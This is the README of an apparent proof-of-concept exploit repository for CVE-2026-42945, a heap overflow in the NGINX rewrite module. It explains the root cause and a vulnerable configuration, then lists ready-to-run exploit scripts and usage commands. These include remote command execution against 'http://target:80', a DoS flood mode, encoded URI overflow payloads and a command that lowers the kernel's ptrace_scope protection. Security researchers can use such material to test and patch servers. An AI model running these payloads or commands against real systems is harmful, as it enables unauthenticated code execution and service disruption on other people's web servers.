
Prova de conceito de exploit para CVE-2026-42945, um overflow crítico de heap no módulo rewrite do NGINX que permite execução remota não autenticada de código através de codificação URI manipulada. Inclui ambiente de teste baseado em Docker, validação ASAN e múltiplos scripts de exploit.
RCE confirmado com sucesso — através de estouro de heap + injeção de processo GDB, executa comandos arbitrários nos workers do NGINX / OpenResty.
# 一键构建 NGINX 镜像 + 执行 RCE 测试
./run.sh nginx
# 一键构建 OpenResty 镜像 + 执行 RCE 测试
./run.sh openresty
# 自定义命令
./run.sh nginx 'cat /etc/passwd'
./run.sh openresty 'whoami'
| Propriedade | Valor |
|---|---|
| Identificador CVE | CVE-2026-42945 |
| Tipo de vulnerabilidade | Estouro de buffer de heap → Execução remota de código (RCE) |
| Componente afetado | ngx_http_rewrite_module |
| Versões afetadas | NGINX 0.6.27 ~ 1.30.1, NGINX Plus R32 ~ R36 |
| Pontuação da vulnerabilidade | CVSS 9.4 (CRÍTICA) |
| Condições de exploração | Sem autenticação; RCE requer permissão ptrace (root) |
ngx_http_script_complex_value_code() aloca o buffer com base no comprimento decodificado da URI, mas ngx_http_script_copy_capture_code() chama ngx_escape_uri() escrevendo com base no comprimento codificado. Caracteres codificados na URL expandem 3x → estouro de heap.
Três condições devem ser satisfeitas simultaneamente:
rewrite e set estão no mesmo locationrewrite string de substituição contém ?set referencia a variável de captura $1 do rewritelocation ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # 含 '?'
set $original_endpoint $1; # 引用 $1
}
#0 ngx_escape_uri src/core/ngx_string.c:1663
#1 ngx_http_script_copy_capture_code src/http/ngx_http_script.c:1399
#2 ngx_http_rewrite_handler src/http/modules/ngx_http_rewrite_module.c:180
.
├── run.sh # Compilação e teste com um clique
├── README.md
│
├── scripts/ # Scripts de teste & exploração
│ ├── rce.sh # RCE puro em Shell (curl + GDB, sem Python)
│ ├── exploit_rce.py # RCE em Python (compatível com 2.7/3.x)
│ ├── exploit.py # Script PoC principal (check/exploit/rce/flood)
│ └── exploit_asan.py # Varredura completa ASAN
│
├── package/ # Arquivos de implantação & orquestração
│ ├── Dockerfile.rce # NGINX compilado da fonte + ambiente RCE
│ ├── Dockerfile.openresty.rce # OpenResty compilado da fonte + ambiente RCE
│ ├── Dockerfile # Imagem base (Alpine)
│ ├── Dockerfile.asan # Imagem de depuração ASAN
│ ├── docker-compose.yml # Orquestração Docker (nginx-rce + openresty-rce)
│ ├── nginx.conf # Configuração vulnerável do NGINX
│ ├── nginx-openresty.conf # Configuração vulnerável do OpenResty
│ ├── start_rce.sh # Script de inicialização do contêiner NGINX RCE
│ └── start_openresty_rce.sh # Script de inicialização do contêiner OpenResty RCE
│
└── src/ # Código fonte (para compilação)
├── nginx-1.26.3/ # Código fonte NGINX 1.26.3
├── nginx-1.26.3.tar.gz
└── openresty-1.25.3.1.tar.gz # OpenResty 1.25.3.1 (nginx/1.25.3 embutido)
# Shell 脚本 (无 Python 依赖)
docker exec nginx-rce bash /opt/rce.sh 'id'
docker exec nginx-rce bash /opt/rce.sh 'cat /etc/passwd'
# Python 脚本 (兼容 2.7/3.x)
docker exec nginx-rce python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'whoami'
# OpenResty 同理
docker exec openresty-rce bash /opt/rce.sh 'id'
docker exec -it nginx-rce bash
# 容器内:
bash /opt/rce.sh 'id'
python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'uname -a'
# 需要 root + ptrace 权限
sudo python3 scripts/exploit_rce.py -t http://target:80 -c 'id'
python3 scripts/exploit.py --target http://localhost:8775 --mode check # 检测漏洞
python3 scripts/exploit.py --target http://localhost:8775 --mode exploit # ASAN 堆溢出验证
python3 scripts/exploit.py --target http://localhost:8775 --mode rce # RCE 风险评估
python3 scripts/exploit.py --target http://localhost:8775 --mode flood # DoS 压力测试
rewrite (com ?) + set (referenciando $1)%25/%3f/%23/%26echo 1 > /proc/sys/kernel/yama/ptrace_scope| Payload | Descrição | Resultado |
|---|
/api/%25 × N | % codificado | ✅ Estouro de heap |
/api/%3f × N | ? codificado | ✅ Estouro de heap |
/api/%23 × N | # codificado | ✅ Estouro de heap |
/api/%26 × N | & codificado | ✅ Estouro de heap |